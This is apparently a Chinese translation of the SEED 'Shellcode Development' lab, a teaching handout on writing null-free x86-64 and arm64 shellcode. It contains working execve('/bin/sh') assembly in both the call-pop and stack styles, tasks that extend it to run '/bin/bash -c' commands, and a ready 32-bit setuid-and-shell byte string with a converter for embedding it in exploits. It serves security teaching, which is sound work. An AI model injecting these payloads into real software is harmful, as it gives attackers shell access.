Shellcode 开发实验

1 概述

Shellcode 在涉及代码注入的许多攻击中被广泛使用。编写 Shellcode 是一项具有挑战性的任务。虽然我们可以从互联网上找到现成的 Shellcode，但在有些情况下我们还是需要编写满足特定要求的 Shellcode。此外，从头开始编写自己的 Shellcode 能学到一些有趣的技术。本实验旨在帮助学生理解这些技术，从而能够编写自己的 Shellcode。

编写 Shellcode 有几个挑战，一个是确保二进制代码中没有零，另一个是找到命令中使用的数据的地址。第一个挑战并不难解决，有几种方法。针对第二个挑战的解决方案导致了两种典型的方法来编写 Shellcode。在第一种方法中，数据在执行期间被推入栈中，因此可以从栈指针获取它们的地址。在第二种方法中，数据存储在代码区域，就在 `call` 指令之后。当执行 `call` 指令时，数据的地址被当作返回地址并推入栈中。这两种解决方案都非常有意思，我们希望学生能学习这两种技术。本实验涵盖以下主题：

- Shellcode
- 汇编代码
- 反汇编

阅读材料和视频。 关于 Shellcode 的详细内容可以在以下资源中找到：

- SEED 书，*Computer & Internet Security: A Hands-on Approach*, 3rd Edition, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net`.
- SEED Lecture 第 30 讲第 4 节，*Computer Security: A Hands-on Approach*, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net/video.html`.

实验环境。 本实验在 SEED Ubuntu 20.04 VM 中测试可行。您可以从 SEED 网站上下载我们预先构建好的镜像并在您自己的电脑上运行 SEED VM。然而，大多数 SEED 实验可以在云端进行，您可以按照我们的说明在云端创建 SEED VM。

2 任务 1：编写汇编代码

为了直接控制 Shellcode 中要使用的指令，编写 Shellcode 的最佳方式是使用汇编语言。在本任务中，我们将使用一个示例程序来熟悉开发环境。

不同计算机架构的汇编语言有所不同。在本任务中，示例代码 (`hello.s`) 针对的是 amd64 (64 位) 架构。代码包含在 `Labsetup` 文件夹中。使用 Apple 芯片的学生可以在 `Labsetup/arm` 文件夹中找到适用于 arm 架构的示例代码。

Listing 1: 一个 amd64 架构的汇编程序示例 (`hello.s`)

```
global _start

section .text

_start:
  mov rdi, 1        ; 标准输出
  mov rsi, msg      ; 消息的地址
  mov rdx, 15       ; 消息的长度
  mov rax, 1        ; write() 系统调用的编号
  syscall           ; 调用 write(1, msg, 15)

  mov rdi, 0        ;
  mov rax, 60       ; exit() 系统调用的编号
  syscall           ; 调用 exit(0)

section .rodata
  msg: db "Hello, world!", 10
```

编译成目标代码。 我们使用 `nasm` 编译上述汇编代码，它是 Intel x86 和 x64 架构的汇编和反汇编工具。对于 arm64 架构，对应的工具是 `as`。选项 `-f elf64` 表示我们希望将代码编译为 64 位 ELF 二进制格式。可执行和可链接格式（ELF）是一个常见的可执行文件、目标代码和共享库的标准文件格式。对于 32 位汇编代码，应使用 `elf32`。

```
// 针对 amd64
$ nasm -f elf64 hello.s -o hello.o

// 针对 arm64
$ as  -o hello.o hello.s
```

链接生成最终的二进制文件。 获得目标代码 `hello.o` 后，如果希望生成可执行二进制文件，可以运行链接器程序 `ld`，这是编译的最后一步。完成此步骤后，我们获得最终的可执行代码 `hello`。运行它时，会打印出 `"Hello, world!"`。

```
// 适用于 amd64 和 arm64
$ ld hello.o -o hello
$ ./hello
Hello, world!
```

获取机器代码。 在大多数攻击中，我们只需要 Shellcode 的机器代码，而不需要包含其他数据的可执行文件。从技术上将，只有机器代码才被称为 Shellcode。因此，我们需要从可执行文件或目标文件中提取机器代码。有多种方法可以实现这一点。一种方法是使用 `objdump` 命令反汇编可执行文件或目标

文件。

对于 amd64，汇编代码有两种常见的语法模式：AT&T 语法模式和 Intel 语法模式。默认情况下，`objdump` 使用 AT&T 模式。以下示例中，我们使用 `-Mintel` 选项生成 Intel 模式的汇编代码。

```
$ objdump -Mintel -d hello.o
hello.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <_start>:
   0: bf 01 00 00 00          mov    edi,0x1
   5: 48 be 00 00 00 00 00    movabs rsi,0x0
   c: 00 00 00
   f: ba 0f 00 00 00          mov    edx,0xf
  14: b8 01 00 00 00          mov    eax,0x1
  19: 0f 05                   syscall
  1b: bf 00 00 00 00          mov    edi,0x0
  20: b8 3c 00 00 00          mov    eax,0x3c
  25: 0f 05                   syscall
```

在上述输出中，冒号后的数字是机器代码。您还可以使用 `xxd` 命令打印二进制文件的内容，应该能从输出中找到 Shellcode 的机器代码。

```
$ xxd -p -c 20 hello.o
7f454c4602010100000000000000000001003e00
...
000000001800000000000000bf0100000048be00
00000000000000ba0f000000b8010000000f05bf
00000000b83c0000000f05000000000000000000
...
```

任务。 您的任务是完成整个过程：编译并运行示例代码，然后从二进制文件中提取机器代码。

3 任务 2：编写 Shellcode（方法 1）

Shellcode 的主要目的是运行一个 shell 程序，例如 `/bin/sh`。在 Ubuntu 操作系统中，这可以通过调用 `execve()` 系统调用来实现。

```
execve("/bin/sh", argv[], 0)
```

我们需要为该系统调用传递三个参数：在 amd64 架构中，它们通过 `rdi`, `rsi` 和 `rdx` 寄存器传递。在 arm64 架构中，它们通过 `x0`, `x1`, 和 `x2` 寄存器传递。伪代码如下所示：

```
// 针对 amd64 架构
 Let rdi = address of the "/bin/sh" string
```

```
Let rsi = address of the argv[] array
Let rdx = 0

Let rax = 59    // 59 是 execve 的系统调用号
syscall         // 调用 execve()

// 针对 arm64 架构
Let x0  = address of the "/bin/sh" string
Let x1  = address of the argv[] array
Let x2  = 0

Let x8 =  221   // 221 是 execve 的系统调用号
svc 0x1337      // 调用 execve()
```

编写 shellcode 的主要挑战是如何获取 "/bin/sh" 字符串的地址以及 argv[] 数组的地址。通常有两种典型的方法：

- 方法 1：将字符串和数组存储在代码段中，然后使用指向代码段的 PC 寄存器获取它们的地址。本任务中我们关注这种方法。
- 方法 2：在栈上动态构造字符串和数组，然后使用栈指针寄存器获取它们的地址。我们将在下一任务中关注这种方法。

3.1 任务 2.a. 理解代码

我们提供了一个示例 shellcode。以下代码针对 amd64 架构。代码也可以在 Labsetup 文件夹中找到。如果你在 Apple 机器上完成本实验，可以在 arm 子文件夹中找到针对 arm64 的示例代码。

Listing 2: 64 位 shellcode 示例 (mysh64.s)

```
section .text
  global _start
    _start:
       BITS 64
       jmp short two
    one:
       pop rbx

       mov [rbx+8],  rbx  ; 将 rbx 存储到内存地址 rbx + 8
       mov rax, 0x00      ; rax = 0
       mov [rbx+16], rax  ; 将 rax 存储到内存地址 rbx + 16

       mov rdi, rbx       ; rdi = rbx        ①
       lea rsi, [rbx+8]   ; rsi = rbx +8     ②
       mov rdx, 0x00      ; rdx = 0
       mov rax, 59        ; rax = 59
       syscall
```

```
two:
   call one
   db '/bin/sh', 0 ; 命令字符串（以零终止）  ③
   db 'AAAAAAAA'   ; argv[0] 的占位符
   db 'BBBBBBBB'   ; argv[1] 的占位符
```

上述代码首先跳转到 two 位置的指令，而该指令又跳转到 one 位置，但这次使用了 call 指令。此指令用于函数调用，即在跳转到目标位置之前，它将下一条指令的地址（即返回地址）保存到栈顶，这样函数返回时可以返回到 call 指令之后的指令。

在这个例子中，call 指令之后的“指令”实际上不是一条指令，而是存储了一个字符串。call 指令会将其地址（即字符串的地址）压入栈中，作为函数的返回地址。当我们跳转到 one 位置的函数后，栈顶存储的是返回地址。因此，pop rbx 指令实际上获取了位置 ③ 的字符串地址，并将其保存到 rbx 寄存器中。这就是如何获取字符串地址的方法。

任务。 请完成以下任务：

1. 编译并运行代码，验证是否可以获得一个 shell。使用 -g 选项启用调试信息，因为我们将对代码进行调试。

   ```
   // 针对 amd64
   $ nasm -g -f elf64 -o mysh64.o mysh64.s
   $ ld --omagic -o mysh64 mysh64.o

   // 针对 arm64
   $ as  -g -o mysh64.o mysh64.s
   $ ld --omagic -o mysh64 mysh64.o
   ```

   注意. 在运行链接器程序 ld 时，我们需要使用 --omagic 选项。默认情况下，代码段是不可写的。当此程序运行时，它需要修改存储在代码区域的数据，如果代码段不可写，程序将崩溃。这在实际攻击中不是问题，因为实际攻击中，代码通常被注入到可写的数据段（例如栈或堆）中。通常我们不会将 shellcode 作为独立程序运行。

2. 使用 gdb 调试程序，展示程序如何获取 shell 字符串 /bin/sh 的地址。

3. 解释程序如何构造 argv[] 数组，并展示哪些代码行设置了 argv[0] 和 argv[1] 的值。

4. 解释第 ① 行和 ② 行的真正含义。

常用 gdb 命令. 以下是一些可能对本实验有用的 gdb 命令。如果需要了解其他 gdb 命令，可以在 gdb 内部键入 help 获取命令类别名称列表。键入 help 加上类别名称，可以获取该类别中的命令列表。

```
$ gdb mysh64

help          -- 打印帮助信息
break one     -- 在 "one" 处设置断点
```

```
run           -- 启动被调试程序。
step          -- 单步执行程序直到到达不同的源代码行。
print  $rbx   -- 打印 rbx 寄存器的值
x/40bx <addr> -- 打印内存地址 <addr> 的内容(40 字节)
x/40bx $rsp   -- 打印栈顶 40 字节的内容
x/5gx  $rsp   -- 打印栈顶 5 个双字 (8 字节) 的内容
quit          -- 退出 gdb
```

3.2 任务 2.b. 消除代码中的零

Shellcode 广泛用于缓冲区溢出攻击。在许多情况下，漏洞是由字符串复制函数（例如 `strcpy()`）引起的。对于这些字符串复制函数，零被视为字符串的结束。因此，如果 shellcode 中间包含零，字符串复制函数将无法复制零之后的内容，攻击也无法成功。虽然不是所有漏洞都受零的影响，但零会限制 shellcode 的应用范围。

前一节提供的示例代码并不是真正的 shellcode，因为它包含几个零。请使用 `objdump` 命令获取 shellcode 的机器代码，并标记所有包含零的指令。

要消除这些零，你需要重写 `mysh64.s`，替换所有有问题的指令。第 5 节提供了一些消除零的方法。请展示修改后的 `mysh64.s` 并解释你是如何消除每个零的。

3.3 任务 2.c. 运行更复杂的命令

在 `mysh64.s` 中，我们构造了用于 `execve()` 系统调用的 `argv[]` 数组。由于我们的命令是 `/bin/sh`，没有任何命令行参数，因此 `argv` 数组只包含两个元素：第一个是指向命令字符串的指针，第二个是零。

在本任务中，我们需要运行以下命令，也就是说，我们希望使用 `execve()` 来执行以下命令，该命令使用 `/bin/bash` 来执行 `ëcho hello; ls -lä` 指令。

```
/bin/bash -c "echo hello; ls -la"
```

在此新命令中，`argv` 数组应包含以下四个元素，所有这些都需要在 shellcode 里构造。请修改 `mysh64.s` 并演示执行结果。与往常一样，您的 shellcode 中不能有任何零。

```
argv[0] = "/bin/bash" 字符串的地址
argv[1] = "-c" 字符串的地址
argv[2] = "echo hello; ls -la" 命令字符串的地址
argv[3] = 0
```

3.4 任务 2.d. 传递环境变量

`execve()` 系统调用的第三个参数是一个指向环境变量数组的指针，它允许我们向程序传递环境变量。在我们的示例程序中，我们向 `execve()` 传递了一个空指针，因此没有环境变量被传递给程序。

在本任务中，如果我们将 shellcode `mysh64.s` 中的命令 `/bin/sh` 替换为 `/usr/bin/env`，该命令用于打印出环境变量。您会发现，当我们运行我们的 shellcode 时，没有任何输出，因为我们的进程没有任何环境变量。

在本任务中,我们将编写一个名为 myenv64.s 的 shellcode。当此程序被执行时,它会执行 /usr/bin/env 命令，并打印出以下环境变量:

```
$ ./myenv64
aaa=hello
bbb=world
ccc=hello world
```

要编写这样的 shellcode，我们需要构造一个环境变量数组，并在调用 execve() 之前，将该数组的地址存储到 rdx 寄存器中。构造此数组的方法与构造 argv[] 数组的方法完全相同。请参见以下内容:

```
env[0] = \"aaa=hello\" 字符串的地址
env[1] = \"bbb=world\" 字符串的地址
env[2] = \"ccc=hello world\" 字符串的地址
env[3] = 0   // 0 标志数组的结束
```

4 任务 3：编写 Shellcode（方法二）

另一种获取 shell 字符串和 argv[] 数组的方法是动态地在栈上构造它们，然后使用栈指针寄存器获取它们的地址。以下是使用这种方法的一个 amd64 示例。amd64 和 arm64 的代码都可以从 Labsetup 文件夹中找到。

代码中的注释给出了简要的解释，但如果学生想了解更详细的说明，可以参考 SEED 书中关于代码的完整说明。

Listing 3: 使用栈方法的 Shellcode 示例（another_sh64.s）

```
section .text
global _start
  _start:
    xor  rdx, rdx       ; rdx = 0
    push rdx            ; 将 0 压入栈中 (用于字符串终止)
    mov rax,'/bin//sh'
    push rax            ; 将字符串压入栈中
    mov rdi, rsp        ; rdi = 命令字符串的地址

    push rdx            ; 将 argv[1]=0 压入栈中
    push rdi            ; 将 argv[0] 压入栈中
    mov rsi, rsp        ; rsi = argv[] 数组的地址

    xor  rax, rax
    mov  al, 59         ; execve()
    syscall
```

我们可以使用以下命令将汇编代码编译成 64 位二进制代码:

```
// 对于 amd64
```

```
$ nasm -f elf64 mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64

// 对于 arm64
$ as mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64
```

任务 3.a. 代码示例展示了如何执行 /bin/sh。在本任务中，我们需要修改 shellcode，使其能够执行下面列出的更复杂的 shell 命令。请编写代码实现此目标。需要证明代码中没有零。

```
/bin/bash -c "echo hello; ls -la"
```

任务 3.b. 请比较本实验中的两种方法。你更喜欢哪一种？为什么？

5 指南：去除零的方法

有许多技术可以从 shellcode 中去除零。本节讨论了一些可能对本实验有用的常见技术。amd64 和 arm64 架构的除零技术基本思想相同，但指令不同，这里以 amd64 指令为例。在 Apple 机器上工作的学生可以参考在线文档中的 arm64 指导：编写 ARM64 shellcode。

- 如果我们想将零赋值给 rax，可以使用 mov rax, 0，但这样做会在机器代码中产生零。一种典型的解决方法是使用 xor rax, rax，即将 rax 自己与自己异或，结果是零，并将其存储到 rax。
- 如果我们想将 0x99 存储到 rax。不能直接使用 mov rax, 0x99，因为第二个操作数会扩展为 8 字节，即 0x0000000000000099，包含七个零。解决这个问题的方法是先将 rax 置零，然后将一字节数字 0x99 赋值给 al 寄存器，即 eax 寄存器的最低有效 8 位。

  ```
  xor rax, rax
  mov al,  0x99
  ```

- 另一种方法是使用移位。同样，我们想将 0x99 存储到 rax。首先将 0xFFFFFFFFFFFFFF99 存储到 rax。然后左移该寄存器 56 位，这样 rax 中的值就变成了 0x9900000000000000。然后再右移该寄存器 56 位，最高的 56 位（7 字节）将被填充为 0x00，rax 中的值会变成 0x00000000000099。

  ```
  mov  rax, 0xFFFFFFFFFFFFFF99
  shl  rax, 56
  shr  rax, 56
  ```

- 字符串需要以零结尾，但如果我们使用下面代码的第一行定义字符串，代码中会包含一个零。为了解决这个问题，我们使用第二行定义字符串，即在字符串末尾放置一个非零字节（0xFF）。

  ```
  db 'abcdef', 0x00
  db 'abcdef', 0xFF
  ```

在获取字符串地址后，我们可以动态地将非零字节替换为 0x00。假设我们已将字符串的地址保存到 rbx，我们还知道字符串的长度（不包括零）为 6，因此可以使用以下指令将 0xFF 替换为 0x00。

```
xor al, al
mov [rbx+6], al
```

6 提交

你需要提交一份带有截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得学分。

A 在攻击代码中使用 Shellcode

在实际攻击中，我们需要将 Shellcode 嵌入到攻击代码中，例如 Python 或 C 程序中。通常，我们会将机器码存储在一个数组中，但将上述机器码转换为 Python 或 C 程序中的数组赋值，如果手动完成会非常繁琐，尤其是在实验中需要多次执行该过程时。为简化这一过程，我们编写了以下 Python 代码来帮助完成此任务。只需将从 xxd 命令获取的内容（仅限于 Shellcode 部分）复制并粘贴到以下代码中，用""" 标记的行之间。可以从实验的官方网站下载该代码。

Listing 4: convert.py

```
#!/usr/bin/env python3

# 运行 "xxd -p -c 20 mysh.o", 然后
# 将机器码部分复制粘贴到以下位置:
ori_sh ="""
31db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80
"""

sh = ori_sh.replace("\n", "")

length  = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15:
       s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)
```

运行 `convert.py` 程序后，将输出以下 Python 代码，可直接在攻击代码中使用。它将 shellcode 存储在一个 Python 数组中。

```
$ ./convert.py
Length of the shellcode: 35
shellcode= (
   "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
   "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
   "\x0b\xcd\x80"
).encode('latin-1')
```